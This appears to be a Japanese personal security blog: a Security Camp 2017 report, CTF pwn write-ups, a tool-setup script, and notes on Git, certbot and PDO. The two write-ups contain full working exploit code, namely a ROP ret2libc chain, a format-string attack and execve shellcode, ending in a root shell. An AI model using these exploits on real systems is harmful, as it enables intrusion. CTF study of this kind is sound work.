セキュリティキャンプ九州 in 福岡 2017に参加してきた。
今週のお題「読書の秋」
9/1 ~ 9/3に行われたセキュリティキャンプ 九州 in 福岡 に参加してきました。
このキャンプのテーマはwebセキュリティでした。
1日目
1. オープニング
このキャンプでは
・分野を超えてつなげる
・仲間とつなげる
・将来につなげる
を意識して挑んでくださいというお話。
今までwebを中心に勉強していて他の分野の話になるとわからなくなって困るというのはよくあったのでとても刺さるお話でした。
2. 情報セキュリティ技術の使い方をケースで考えよう
倫理的なお話。犯罪になるケースと犯罪にならないケースを考えて犯罪になる場合は該当する犯罪の説明をしていただいた。前日に参加していたSANS NETWARSでも法律のお話を聞いていたので復習になった。
3. そうだ!セキュリティ・キャンプ、行こう
セキュリティキャンプ全国大会にいこうぜ!って感じのお話
僕は年齢制限に引っかかって参加できないので無限に羨ましかった。コアキャンプの紹介もあった。ただただ羨ましくて辛かった。
4. いじって壊して遊んでハッカーになろう
ターゲットはPythonのpeeweeとbottleで作られたwebサーバー。
DjangoとかFlaskは聞いたことあったけどbottleは知らなかったので既に知見でした。bottleにはORMがないのでpeeweeを使うという感じらしいです。そもそもpythonでwebアプリを作ったことがないのですがソースコードを読んでいる限りとても簡単そうで自分でもつくってみたくなりました。
講義のに内容はXSSからOSコマンドインジェクションまでのwebの基礎的な攻撃をハンズオンで学びました。
ネットワークの構成を直前で変更したみたいでハンズオン環境が落ちてしまうなどのトラブルに見舞われ、急遽上野さんの「そうだ!セキュリティキャンプ全国大会へ行こう!」と順番が入れ替わりました。
僕はトラブルシューティングが好きなのでチューターの方のトラブルシューティングに混ざって僕もやりたいなーなんて思っていました。
夜
LINEのmeetupに参加
Ken Thompson HackingやMorris wormなど過去に行われた衝撃的な事件や発表を解説していただきました。
Ken Thompson Hackingがヤバすぎてやばかったです(難しかったのであまり理解できていません)
Ken Thompson Hacking
http://boscono.hatenablog.com/entry/2016/06/05/165745
Morris wrom
https://blog.kaspersky.co.jp/morris-worm-turns-25/1950/
2日目
1. Webセキュリティ基礎講座
対象のwebアプリに対して診断を行う感じの講義でした。いろいろな脆弱性が盛り込まれていて楽しくハンズオンをしていました。
感覚的にはMBSD Cyber Security Challengesの対象がwebアプリのみといった雰囲気でした。
脆弱性はバグの一種なのでプログラム自体の品質を高くしてバグを減らせば脆弱性も減るというお話を伺い、自分の作ったアプリもバグ多いなーとか、バグがあるのがわかっていても修正しないときとかあるので考えを改めようと思いました()
2. ログ解析基礎講座
標的型メール訓練のログ解析を行いました。初めはログを解析して、欲しい情報を切り出すプログラムを書けという感じで課題を与えられて、がんばって書いていました。pythonでやろうとおもったのですが、shellのほうが早いかなと思ってawkでなんとかやっていました。
ログの分析については自分の分析能力が低くてかなり苦労しました。ネットワークの知識が全然足りていないのでそもそも発想が出てこないとか色々反省するところがありました。
後半はハニーポットのcowrieを使って収集したログを分析しようという内容でしたが他の受講者の方が頂いたイメージをインポートする時にMACアドレスを初期化していなかったみたいでsshが繋がらない問題でいろいろこけてあまり進まなくて途中で終わってしまいました。Elastic searchを使うところまでいけなくて悲しい…
ちょうどSANSでT-Potを建てたい気持ちになっていたのでキャンプ後に自分で挑戦します。
3. Game Security Hands-on
個人的に一番楽しみにしていた講義。
Unityのandroidアプリを解析してチートを行うといった内容でした。
具体的にはGame Guardianでメモリ改ざんを行ったり、BurpSuiteで通信改ざんしたり、 Assembly-CSharp.dllをdnspyでデコンパイルしてdll overwirteしてチートしようぜって感じです。
課題があって
メモリ改ざんで敵の体力を1にする
通信改ざんでスコアを1000にする
ローカルストレージを買い換えて攻撃力を1000にする
Dll改ざんでチートする
といった課題に取り組みました。
自分はあまり進捗がよくなくて、1日目は他の人よりも遅れて2日目が終了しました。
夜
ゲームチートの講義がめっちゃ楽しかったので学校の後輩とその部屋の人を誘って朝まで解析をしていました。
Dllを改ざんした後、apkを再構築してインストールするためにGameに署名を行うのですがそこで随分ハマりました。
少しチート対策されたアプリに対してチート行うために過去のCEDEC ChallengeのスライドやAVtokyoのスライドなどを見て取り組んでいましたが、IL2CPPでコンパイルされたプログラムを解析できずに死にました。
3日目
1. Game Security Hands-on
昨日の続き。writeupをしていただきました。
課題への対策には
メモリチート ->メモリの内容を暗号化
リクエスト改ざん -> SSLを使う。SSL piningを行う
ローカルファイル改ざん -> ローカルファイルを暗号化する。ローカルファイルのhashを持っておいて、サーバー側がhash値を検証する
Dll改ざん -> 難読化を行う
などで対策を行いましょう。だけど対策をしても完璧ではなくてあくまで解析されにくくするだけだし、ゲームによっては対策も変わるというのがゲームチート対策の難しいところなんだろうなと思いました。
IL2CPPの問題に対しては迂回して解く方法を志賀講師から伺ったので、また試そうと思います。
CEDEC Challengeの問題に取り組んだ時は何もわからなかったのでここで知見を持ち帰れてとてもよかったです。
課題に取り組むときに参考にしたサイト
https://engineering.linecorp.com/ja/blog/detail/110
https://www.nevermoe.com/wp-content/uploads/2016/11/avtokyo_jp_re.pdf
http://bbottait.hatenablog.com/entry/2016/09/10/073601
2. 攻撃の検知と防御
脆弱なwebアプリに対して、pythonで自動攻撃ツールを書いて攻撃が通った確認した後、WAFの検知ログを除いて分析して、次は改ざん検知のプログラムを書くという内容でした。
攻撃ツールは僕は事前課題で作っていたのでそれをちょっと改変するだけでした。
WAFはmod_securityを使っていて、それのログを分析するのですが、僕はmod_securityのログの味方がわからず、ググりながら設定ファイルを読んだりしてどんなアラートがでているかを分析していました。
改ざん検知のプログラムはどうやって作るかとても悩んで結局対策できているのかどうかもわからない感じのプログラムをつくって発表したので恥ずかしかったです。他の人の発表を聞いてなるほどーと思っていました。
この講義では攻撃ツールを作るのがとても楽しくて事前課題は一番力を入れて取り組んだのでキャンプ終了後も開発に取り組んで汎用性を高めたりしようと考えています。
まとめ
2泊3日という期間、初めて福岡を訪れたのに豚骨ラーメンも明太子も食べずひたすらセキュリティを学ぶというキャンプでしたが、とても楽しく勉強させていただきました。
ゲームチートやログ分析など、これから学びたい分野ができてとても嬉しいです。
次はチューターとして参加したいとか思ったりしているのでこれからも自分の技術を磨いて行こうと思います。
MVP記念
九州キャンプMVPは、西谷くんに。おめでとうございます! #spcamp #seccamp pic.twitter.com/k5mfAo3VSF
— セキュリティ・キャンプ (@security_camp) 2017年9月4日
BugsBunnyCTF pwn250 writeup
競技中には手をつけていなくて解けなかったんですが競技終了後に挑戦したら解けたのでwriteupを残そうと思います。
libcが渡されている問題です。
まずはセキュリティ機構の確認
次は動かしてみます
BOFの問題ですね。
続いてディスアセンブルしてみます
スタックを0x80分確保していてreadで入力された値がスタックの1番上に格納されるということがわかりました。
writeが使えるのでこれを使ってGOTの__libc_start_mainのlibcアドレスをリークしてそこからオフセットでlibcのベースアドレスを求めようと考えます。writeは引数が3つ必要でx86_64のバイナリは引数がrdi,rsi,rdxになるのでスタックから各レジスタにpopしてくれるようなガジェットを探します。
return先はhere関数にしてもう一度readさせます。 そのあとsystem("/bin/sh")を起動させるのですが、systemを呼んだ時に
このようにcall __GI___sigactionのときにスタックがrodataを指してしまいSEGVしてしまいました。これは上書きしたsaved ebpの値(今回はbss+0x100)が小さかったために起きてしまったので、もう少し大きな値へ書き換えることで解決しました。
最終的なエクスプロイトコードはこちら
#!/usr/bin/python # -*- coding: utf-8 -*- import __main__, os, sys, struct, socket, telnetlib, subprocess, time from libformatstr import FormatStr proc = '' s = '' def local(cmd): __main__.proc = subprocess.Popen(cmd.strip().split(' ')) proc.wait() def pipelocal(cmd): __main__.proc = subprocess.Popen(cmd.strip().split(' '), stdin=subprocess.PIPE, stdout=subprocess.PIPE) # socat tcp-listen:4444,reuseaddr,fork exec:./a.out & def sock(remoteip="127.0.0.1", remoteport=4444): __main__.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) time.sleep(0.5) def splitn(data, n): length = len(data) return [data[i:i+n] for i in range(0, length, n)] def writefile(buf_arg,file_name): with open(file_name, 'wb') as f: f.write(buf_arg) def recv(delim='\n', out=1): data = '' while not data.endswith(delim): data += s.recv(1) if(out == 1): print('\nrecv: \n' + data + '\n') return data def recvn(x=1024, out=1): data = '' data += s.recv(x) if(out == 1): print('\nrecv: \n' + data + '\n') return data def send(x, sleep=0.3, out=1): s.sendall(x + '\n') if(out == 1): print('\nsend: \n' + x + '\n') time.sleep(sleep) def u(x): return struct.unpack("<I",x[:4])[0] def u64(x): return struct.unpack("<Q",x[:8])[0] def p(x): return struct.pack("<I",x) def p64(x): return struct.pack("<Q",x) def shell(): if(s != ''): #print('---- interactive mode ----') t= telnetlib.Telnet() t.sock = s t.interact() elif(p != ''): print('---- interactive mode ----') proc.wait() def xxd(a): a = str(a) hexdump.hexdump(a) def read(delim="\n", out=1): data = '' while not data.endswith(delim): data += proc.stdout.readlne(1) if(out == 1): print('\nread: \n' + data + '\n') return data def readn(num=1024, out=1): data = '' while(num>0): data += proc.stdout.read(1) num = num-1 if(out == 1): print('\nread: \n' + data + '\n') return data sc_execve32 = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" sc_execve64 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" dup2_execve32 = "\x31\xd2\x31\xc9\x8d\x5a\x04\x8d\x42\x3f\xcd\x80\x41\x8d\x42\x3f\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" dup2_execve64 = "\x31\xd2\x31\xf6\x67\x8d\x7a\x04\x67\x8d\x42\x21\x0f\x05\xff\xc6\x67\x8d\x42\x21\x0f\x05\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05" #-----------START EXPLOIT CODE-----------# got_libc_start_main = 0x601028 write = 0x400436 read = 0x400446 bss = 0x601040 offset_libc = 0x020740 offset_system = 0x045390 offset_binsh = 0x18cd17 sock() raw_input("enter") buf = "A" * 0x80 buf += p64(bss + 0x300) buf += p64(0x0040056a) # pop rdi; pop rsi; pop rdx; ret buf += p64(1) buf += p64(got_libc_start_main) buf += p64(8) buf += p64(write) buf += p64(0x400575) #: lea rax,[rbp-0x80] send(buf) line = recvn() libc_main_addr = u64(line) libc_base = libc_main_addr - offset_libc buf = "A" * 0x88 buf += p64(0x00400633) # pop rdi; ret buf += p64(libc_base + offset_binsh) buf += p64(libc_base + offset_system) send(buf) send(buf) shell()
DEF CON CTF Qualifier 2015 babyecho Writeup
strippedなバイナリを解析するのは初めてだったので大変だった。 解いたあと、他の人のwriteupを見てこんな感じのプログラムだったんだ...解析力すげえ...ってなってた。
まずはfileコマンドで調べてみる。
root@ubuntu:~/pwn/babyecho# file babyecho babyecho: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c9a66685159ad72bd157b521f05a85e2e427f5ee, stripped
32bit,静的リンクかつstrippedなバイナリということがわかる。
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : disabled PIE : disabled RELRO : Partial
セキュリティ機構はなにもついていない。 次に実行してみる。
root@ubuntu:~/pwn/babyecho# ./babyecho Reading 13 bytes aaaaa aaaaa Reading 13 bytes aaaaaaaaaaaaaa aaaaaaaaaaaa Reading 13 bytes a Reading 13 bytes AAAA %7$x AAAA 41414141
fsbがあり、indexが7であることがわかった。 fsbがあるけど13バイトしか読み込んでくれないのでなんとかして、読み込むバイト数を増やしたい。
[----------------------------------registers-----------------------------------] EAX: 0xffffd17c --> 0x0 EBX: 0x80481a8 (push ebx) ECX: 0xffffffff EDX: 0x80eb4d4 --> 0x0 ESI: 0x0 EDI: 0x80ea00c --> 0x8067f00 (mov edx,DWORD PTR [esp+0x4]) EBP: 0xffffd588 --> 0x80497d0 (push ebx) ESP: 0xffffd160 --> 0xffffd17c --> 0x0 EIP: 0x8048ff7 (call 0x8048e24) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048fec: mov DWORD PTR [esp+0x4],eax 0x8048ff0: lea eax,[esp+0x1c] 0x8048ff4: mov DWORD PTR [esp],eax => 0x8048ff7: call 0x8048e24 0x8048ffc: lea eax,[esp+0x1c] 0x8049000: mov DWORD PTR [esp],eax 0x8049003: call 0x8048ecf 0x8049008: lea eax,[esp+0x1c] Guessed arguments: arg[0]: 0xffffd17c --> 0x0 arg[1]: 0xd ('\r') arg[2]: 0xa ('\n') [------------------------------------stack-------------------------------------] 0000| 0xffffd160 --> 0xffffd17c --> 0x0 0004| 0xffffd164 --> 0xd ('\r') 0008| 0xffffd168 --> 0xa ('\n') 0012| 0xffffd16c --> 0x0 0016| 0xffffd170 --> 0xd ('\r') 0020| 0xffffd174 --> 0xffffd17c --> 0x0 0024| 0xffffd178 --> 0x0 0028| 0xffffd17c --> 0x0 [------------------------------------------------------------------------------]
fgets関数っぽいところの第二引数を書き換えることを考える。
gdb-peda$ x/20wx $esp 0xffffd160: 0xffffd17c 0x0000000d 0x0000000a 0x00000000 0xffffd170: 0x0000000d 0xffffd17c 0x00000000 0x41414141 0xffffd180: 0x00000000 0x00000000 0x00000000 0x00000000 0xffffd190: 0x00000000 0x00000000 0x00000000 0x00000000 0xffffd1a0: 0x00000000 0x00000000 0x00000000 0x00000000
indexが1のアドレスが第二引数の部分なのでそこを書き換えようとしてみる。まずebpとespのオフセットを計算して ebpとespのアドレスをリークし、 esp+1のところを大きい数値に書き換えてみたが、書き込めるバイト数が増えなかった。
もう一度fgets付近を見てみる。
[----------------------------------registers-----------------------------------] EAX: 0x11 EBX: 0x80481a8 (push ebx) ECX: 0xffffffff EDX: 0x80eb4d4 --> 0x0 ESI: 0x0 EDI: 0x80ea00c --> 0x8067f00 (mov edx,DWORD PTR [esp+0x4]) EBP: 0xffffd588 --> 0x80497d0 (push ebx) ESP: 0xffffd160 --> 0x80be5f1 ("Reading %d bytes\n") EIP: 0x8048fe8 (mov eax,DWORD PTR [esp+0x10]) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048fd4: mov DWORD PTR [esp],0x80be5f1 0x8048fdb: call 0x804f560 0x8048fe0: mov DWORD PTR [esp+0x8],0xa => 0x8048fe8: mov eax,DWORD PTR [esp+0x10] 0x8048fec: mov DWORD PTR [esp+0x4],eax 0x8048ff0: lea eax,[esp+0x1c] 0x8048ff4: mov DWORD PTR [esp],eax 0x8048ff7: call 0x8048e24 [------------------------------------stack-------------------------------------] 0000| 0xffffd160 --> 0x80be5f1 ("Reading %d bytes\n") 0004| 0xffffd164 --> 0xd ('\r') 0008| 0xffffd168 --> 0xa ('\n') 0012| 0xffffd16c --> 0x0 0016| 0xffffd170 --> 0xd ('\r') 0020| 0xffffd174 --> 0xffffd17c --> 0x0 0024| 0xffffd178 --> 0x0 0028| 0xffffd17c --> 0x0 [------------------------------------------------------------------------------]
[esp+0x10]から[esp+0x4]にコピーしているので[esp+0x10]を書き換えなければいけないことがわかった。 あとはさっきの要領でesp+10のところを大きい数値に書き換えて入力文字数を増やしたら、あとはシェルコードぽいー
#!/usr/bin/python # -*- coding: utf-8 -*- import __main__, os, sys, struct, socket, telnetlib, subprocess, time from libformatstr import FormatStr #import hexdump proc = '' s = '' def local(cmd): __main__.proc = subprocess.Popen(cmd.strip().split(' ')) proc.wait() def pipelocal(cmd): __main__.proc = subprocess.Popen(cmd.strip().split(' '), stdin=subprocess.PIPE, stdout=subprocess.PIPE) # socat tcp-listen:4444,reuseaddr,fork exec:./a.out & def sock(remoteip="127.0.0.1", remoteport=4444): __main__.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) time.sleep(0.5) def splitn(data, n): length = len(data) return [data[i:i+n] for i in range(0, length, n)] def writefile(buf_arg,file_name): with open(file_name, 'wb') as f: f.write(buf_arg) def recv(delim='\n', out=1): data = '' while not data.endswith(delim): data += s.recv(1) if(out == 1): print('\nrecv: \n' + data + '\n') return data def recvn(x=1024, out=1): data = '' data += s.recv(x) if(out == 1): print('\nrecv: \n' + data + '\n') return data def send(x, sleep=0.3, out=1): s.sendall(x + '\n') if(out == 1): print('\nsend: \n' + x + '\n') time.sleep(sleep) def u(x): return struct.unpack("<I",x[:4])[0] def u64(x): return struct.unpack("<I",x[:8])[0] def p(x): return struct.pack("<I",x) def p64(x): return struct.pack("<Q",x) def shell(): if(s != ''): #print('---- interactive mode ----') t= telnetlib.Telnet() t.sock = s t.interact() elif(p != ''): print('---- interactive mode ----') proc.wait() def read(delim="\n", out=1): data = '' while not data.endswith(delim): data += proc.stdout.readlne(1) if(out == 1): print('\nread: \n' + data + '\n') return data def readn(num=1024, out=1): data = '' while(num>0): data += proc.stdout.read(1) num = num-1 if(out == 1): print('\nread: \n' + data + '\n') return data sc_execve32 = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" sc_execve64 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" #-----------START EXPLOIT CODE-----------# offset_ebp = 0x30c index = 7 sock() recvn() buf = "%%%d$08x" % (index + 0x200/4) send(buf) ebp_addr = int(recvn()[:8],16) esp_addr = ebp_addr - offset_ebp buf = "%%%d$08x" % (index - 0x18/4) send(buf) recvn() buf = p(esp_addr + 0x10 ) + "%99c%7$n" send(buf) recvn() buf = p(esp_addr + 0x10 ) + "%1023c%7$n" send(buf) recvn() buf = p(esp_addr + 0x42c) buf += p(esp_addr + 0x42c+1) buf += p(esp_addr + 0x42c+2) buf += p(esp_addr + 0x42c+3) buf += p(esp_addr + 0x18) buf += sc_execve32 a = map(ord, p(esp_addr + 0x1c+20)) b = 1 b = ((b-a[3]-1) % 0x100) + 1 a[3] = ((a[3]-a[2]-1) % 0x100) + 1 a[2] = ((a[2]-a[1]-1) % 0x100) + 1 a[1] = ((a[1]-a[0]-1) % 0x100) + 1 a[0] = ((a[0]-len(buf)-1) % 0x100) + 1 buf += "%%%dc%%%d$hhn" % (a[0], index) buf += "%%%dc%%%d$hhn" % (a[1], index+1) buf += "%%%dc%%%d$hhn" % (a[2], index+2) buf += "%%%dc%%%d$hhn" % (a[3], index+3) buf += "%%%dc%%%d$hhn" % (b, index+4) send(buf) shell()
send: ��������������������1�Rh//shh/bin��RS���B %132c%7$hhn%230c%8$hhn%90c%9$hhn%15c%10$hhn%2c%11$hhn g Reading 1023 bytes ������������Rh//shh/bin��RS���B � id uid=0(root) gid=0(root) groups=0(root)
format string attackのやり方については 下記URLを参考にした。 http://inaz2.hatenablog.com/entry/2014/04/30/173618
ubuntuでpwn環境構築
CTFのバイナリ解析環境構築メモ
x86_64用
#!/bin/bash apt-get install -y git # x86バイナリを動かす為のパッケージ dpkg --add-architecture i386 apt-get update apt-get install libc6:i386 libncurses5:i386 libstdc++6:i386 apt-get install gcc-multilib g++-multilib # radare2 git clone https://github.com/radare/radare2 sh radare2/sys/install.sh # ELF解析用 apt-get install binutils # ROPガジェット用 wget https://github.com/0vercl0k/rp/releases/download/v1/rp-lin-x64 \ && wget https://github.com/0vercl0k/rp/releases/download/v1/rp-lin-x86 \ && chmod +x rp-lin-x64 rp-lin-x86 \ && mv rp-lin-x64 rp-lin-x86 /usr/local/bin # リモート用 apt-get install socat # gdb-peda git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit
x86用
#!/bin/bash apt-get install -y git # ELF解析用 apt-get install binutils # radare2 git clone https://github.com/radare/radare2 sh radare2/sys/install.sh # ROPガジェット用 wget https://github.com/downloads/0vercl0k/rp/rp-lin-x86 chmod +x rp-lin-x86; mv rp-lin-x86 /usr/local/bin # リモート用 apt-get install socat # gdb-peda git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit
Windows Server 2012 R2でGitサーバーを構築した時のトラブルシューティング
リモートリポジトリからgit cloneができない。
サーバー側で正常に動いているのに外部からできないのはネットワーク周りが原因だろうという予測のもと、もう一度clone時のパケットをwiresharkで覗いているとやはりcloneの途中(upload-pack.exe実行時?)でRSTが返されている。
これについて調べていると、TCPReplayをというツールを間にかませることで解決できたという記事を見かけたので試したところトラブルの解決に至った。
Gitのupload-packの通信方法が原因っぽい?
以下git daemonの立ち上げ順序です
git daemon を立ち上げる
git daemon --verbose --export-all --enable=receive-pack --base-path=C:¥Users¥Administrator¥Desktop --port=9417
TCPReplayを実行
cd C:¥Users¥Administrator¥Desktop¥TCPRelay-master¥bin¥Debug
TCPRelay.exe 0.0.0.0 9418 127.0.0.1 9417
TCPReplayのビルド方法(.NET Framework2.0必須)まず.NET Framework2.0の導入
コントロールパネル→プログラム→Windowsの機能の有効化または無効化
.NET Framework 3.5 Featuresにチェック
インストール
TCPReplayのダウンロード
https://github.com/HiraokaHyperTools/TCPRelay
C:¥Windows¥Microsoft.NET¥Framework64¥v2.0.50727¥MSBuild.exe C:¥Users¥Administrator¥Desktop¥TCPRelay-master¥TCPRelay.csproj /t:build
MSBuildのパスとTCPReplayのパスは自分の環境に合わせる
コンパイル後の実行ファイルはここらへんにあるはず
C:¥Users¥Administrator¥Desktop¥TCPRelay-master¥bin¥Debug
git push時に
Writing objects: 100%
くらいまで出た後止まる場合(windowsのGitのバグらしい)
git config --global sendpack.sideband false
Let's Encrypt で証明書を自動更新する方法
certbotをclone
$ cd /usr/local/ $ git clone https://github.com/certbot/certbot
Let's Encrypt クライアントが依存するパッケージをインストール
$ cd certbot/ $ ./certbot-auto -n
証明書の取得
$ ./certbot-auto certonly --webroot \ -w /var/www/example -d example.com \ -m sample@example.com \ --agree-tos -n
オプション
certonly
証明書の取得のみを行います。デフォルト値は「run」で、証明書の取得とApache等のSSL設定もやってくれるそうですが、まだうまく動かないことが多いようです。
--webroot
ApacheなどWEBサーバのドキュメントルートに、認証用ファイルを生成します。ドキュメントルート直下に「.well-known/」というディレクトリが作成され、この中に生成されているようです。証明書の取得が終われば、この認証用ファイルは削除されます。稼働しているWEBサーバがない場合(メールサーバなど)は --standalone を指定すると良いでしょう。
-w
ドキュメントルートのパスを指定します。Apacheの場合は、DocumentRoot で指定しているパスです。
-d
証明書を取得するドメイン名を指定します。Apacheの場合は、ServerName で指定しているドメイン名です。
-m
ご自分のメールアドレスを指定します。なにかトラブルがあった場合などに Let's Encrypt との連絡用に使用されます。また、証明書の更新期限が近づくと、ここで指定したメールアドレス宛に、お知らせメールが届きます。
--agree-tos
Let's Encrypt の利用規約に同意します。事前に利用規約「https://letsencrypt.org/repository/」を確認しておきましょう。
-n
--non-interactive の省略オプションです。対話メッセージの表示や入力を求められないようにできます。
自動更新をする
$crontab -e 00 05 01 * * /usr/local/certbot/certbot-auto renew --force-renewal && nginx -s reload
PDOの説明
自分なりにPDOについて勉強したのでここにまとめます。
作成したサンプルコード
<?php
$db = new PDO('mysql:host=localhost;dbname=db_name;charset=utf8','user','password');
$db->setAttribute ( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION );
$db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$loginid = "var";
$sql = "SELECT * from users WHERE loginid= :loginid ";
$statement = $db->prepare($sql);
$statement->bindValue(':loginid',$loginid,PDO::PARAM_STR);
$statement->execute();
while($user = $statement->fetch(PDO::FETCH_ASSOC)){
echo $user["loginid"] . "<br>";
}
PDO (PHP Data Objects)
データアクセス抽象化レイヤーと言われ、アプリケーションとDBMS(データベース管理システム)の間に入ってDBMSの違いを意識せずにアプリケーションを作成するもの。
データベースの違いを意識しないで同じ書き方で使える。
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
エミュレーションがONの場合のみ, ; 区切りで複数のSQL文を1つのクエリで実行することができる.
エミュレートの設定がONだと動的プレースホルダになり、OFFだと静的プレースホルダになる。
ユーザー入力を受け取ってSQL文を動的に生成する場合は プリペアドステートメント と プレースホルダ を使わなければならない.
プレースホルダ:
直訳すると「場所取り」.何かユーザ入力を当てはめる場所としてあらかじめ確保しておくもの.
プリペアドステートメント:
直訳すると「予約文」.文を予約したもの.通常,「予約文」は「場所取り」を使うために作られる.もし「場所取り」が無ければ普通に PDO::query などで実行するだけで十分なためである.
プレースホルダには2種類あり,疑問符プレースホルダ を使う方法と, 名前付きプレースホルダ を使う方法がある.もしこれらが混ざってしまうと
SQLSTATE[HY093]: Invalid parameter number: mixed named and positional parameters
が発生するので、どちらか一方のみを選択すること.
IPAの出している「安全なSQLの呼び出し方」では、
静的プレースホルダは、SQL文をデータベースエンジン側にあらかじめ送信して、実行前にSQL文の構文解析などを準備しておく方式です。 SQL 実行の段階で、実際のパラメータの値をデータ
ベースエンジン側に送信し、データベースエンジン側がバインド処理します。
動的プレースホルダは、パラメータのバインド処理をデータベースエンジン側で行うのではなく、アプリケーション側のライブラリ内で実行する方式です。
と説明されている。
参考URL
IPA 安全なSQLの呼び出し方
https://www.ipa.go.jp/files/000017320.pdf
qiita PDOの静的プレースホルダと動的プレースホルダの違いを確認する
http://qiita.com/7968/items/7ddd59b94eb5a4fb6eaf
バインド機構
SQLインジェクションを防ぐために、プログラムのソースコードでSQL文の雛(ひな)型の中に変数の場所を示す記号(プレースホルダと呼ばれる)を置いた後、実際の値を割り当てる仕組み。
入力値中の特殊記号も単なる値として渡されるためエスケープ処理なしで安全にSQL文を発行することが可能となる。
データベースシステムやプログラム言語によっては、この機構が用意されているものもありSQLインジェクション対策として有用である。
bindValue:値をバインドする 実行する前に値をバインドする
bindParam:変数をバインドする 実際に値を評価するのはexecute()の時。
基本的にbindValue推奨
理由:実行後にバインドした変数が文字列型にされる仕様もあるから
参考URL
http://qiita.com/_dozen_/items/e3c00a0a581378a4cc70
ということで値をバインドする。
$statement->bindValue(':loginid',$loginid,PDO::PARAM_STR);
参考URL
qiita bindValueとbindParamの違い
http://piyopiyocs.blog115.fc2.com/blog-entry-656.html
qiita PHPでデータベースに接続するときのまとめ
http://qiita.com/mpyw/items/b00b72c5c95aac573b71